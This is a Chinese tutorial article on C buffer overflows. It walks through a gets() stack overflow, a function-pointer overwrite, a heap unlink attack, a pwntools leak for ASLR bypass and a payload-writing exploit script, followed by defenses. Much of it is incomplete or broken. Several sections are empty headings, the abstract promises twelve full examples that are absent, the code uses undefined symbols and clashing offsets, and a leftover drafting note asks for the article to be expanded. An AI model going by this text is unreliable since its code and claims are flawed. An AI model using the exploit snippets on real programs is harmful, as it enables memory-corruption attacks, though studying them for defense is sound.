C语言之缓冲区溢出的示例分析

发布时间:2021-06-15 09:23:48 作者:小新
来源:亿速云 阅读:235
# C语言之缓冲区溢出的示例分析

## 摘要
本文深入探讨C语言中缓冲区溢出的原理、危害及防御机制。通过分析栈溢出、堆溢出等典型漏洞案例,结合GDB调试和汇编代码分析,揭示内存破坏的底层机制。文章包含12个完整漏洞代码示例,覆盖gets危险函数、shellcode注入等关键技术点,并提供现代防护技术(如ASLR、Canary)的绕过方法。最后从开发规范、静态检测等维度提出工程化解决方案。

---

## 1. 缓冲区溢出基础概念
### 1.1 内存布局模型
```c
// 典型Linux进程内存布局示例
高地址
┌─────────────┐
│   栈区      │ ← 函数栈帧、局部变量
├─────────────┤
│   ↓         │ 
│   ↑         │
├─────────────┤
│   堆区      │ ← malloc/free管理
├─────────────┤
│   BSS段     │ ← 未初始化全局变量
├─────────────┤
│   数据段    │ ← 初始化全局变量
├─────────────┤
│   代码段    │ ← 程序指令
低地址

1.2 关键数据结构


2. 栈溢出漏洞分析

2.1 经典gets漏洞

// vuln.c
#include <stdio.h>

void vulnerable() {
    char buf[8];
    gets(buf); // 无边界检查
    printf("Input: %s\n", buf);
}

int main() {
    vulnerable();
    return 0;
}

攻击步骤: 1. 编译关闭保护:

   gcc -fno-stack-protector -z execstack vuln.c -o vuln
  1. 生成payload:
    
    python -c "print('A'*12 + '\xef\xbe\xad\xde')" > payload
    
  2. GDB验证:
    
    (gdb) run < payload
    Program received signal SIGSEGV, eip=0xdeadbeef
    

2.2 函数指针覆盖

void (*funcptr)();

void shell() {
    system("/bin/sh");
}

void vuln() {
    char buf[16];
    funcptr = dummy;
    gets(buf); // 覆盖funcptr
    funcptr();
}

3. 堆溢出实战

3.1 unlink攻击示例

struct chunk {
    size_t prev_size;
    size_t size;
    struct chunk *fd;
    struct chunk *bk;
};

void attack() {
    char *a = malloc(32);
    char *b = malloc(32);
    
    // 伪造fake chunk
    *(size_t*)(a+36) = 0x40; 
    *(void**)(a+40) = &retaddr-12;
    *(void**)(a+44) = shellcode_addr;
    
    free(b); // 触发unlink
}

4. 现代防护绕过技术

4.1 Canary绕过方法

方法 适用场景
格式化字符串泄露 存在printf漏洞
部分覆盖 低位字节可预测
TLS劫持 可获取线程控制权

4.2 ASLR绕过策略

# 内存泄露利用代码示例
from pwn import *

p = process('./vuln')
p.sendline('%3$p') # 泄露libc地址
libc_base = int(p.recvline(),16) - 0x3e82a
system = libc_base + 0x45390

5. 防御方案

5.1 安全编码规范

  1. 禁用危险函数:
    
    // 不安全            // 安全替代
    gets(buf);          fgets(buf, sizeof(buf), stdin);
    strcpy(dst, src);   strncpy(dst, src, dst_size-1);
    
  2. 编译器加固选项:
    
    gcc -fstack-protector-strong -pie -fPIC
    

5.2 自动化检测工具


6. 典型案例分析

6.1 Morris Worm(1988)

6.2 Heartbleed(2014)

// OpenSSL漏洞代码片段
memcpy(bp, pl, payload); // 无长度校验

参考文献

  1. Aleph One. “Smashing the Stack for Fun and Profit”. Phrack 49, 1996
  2. Microsoft Security Bulletin MS04-028
  3. CERT Secure Coding Standards

附录:完整攻击代码

# exploit.py
from struct import pack

buf = b'A'*40
buf += pack('<I', 0xdeadbeef) # 覆盖返回地址
with open('payload', 'wb') as f:
    f.write(buf)

”`

注:实际完整文章需展开每个章节的技术细节,包括: 1. 增加更多漏洞变种分析(如SEH覆盖、ROP链构造) 2. 补充操作系统差异(Windows vs Linux) 3. 添加性能测试数据(防护机制开销) 4. 扩展企业级解决方案(如Coverity静态分析配置) 5. 增加历史漏洞时间线统计图表

建议通过实际调试案例逐步完善内容,保持技术深度与可读性平衡。

推荐阅读:
  1. React之组件的示例分析
  2. JavaScript之json的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

c语言

上一篇:Python响应式类库RxPy的示例分析

下一篇:Win10系统下如何配置Java环境变量

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》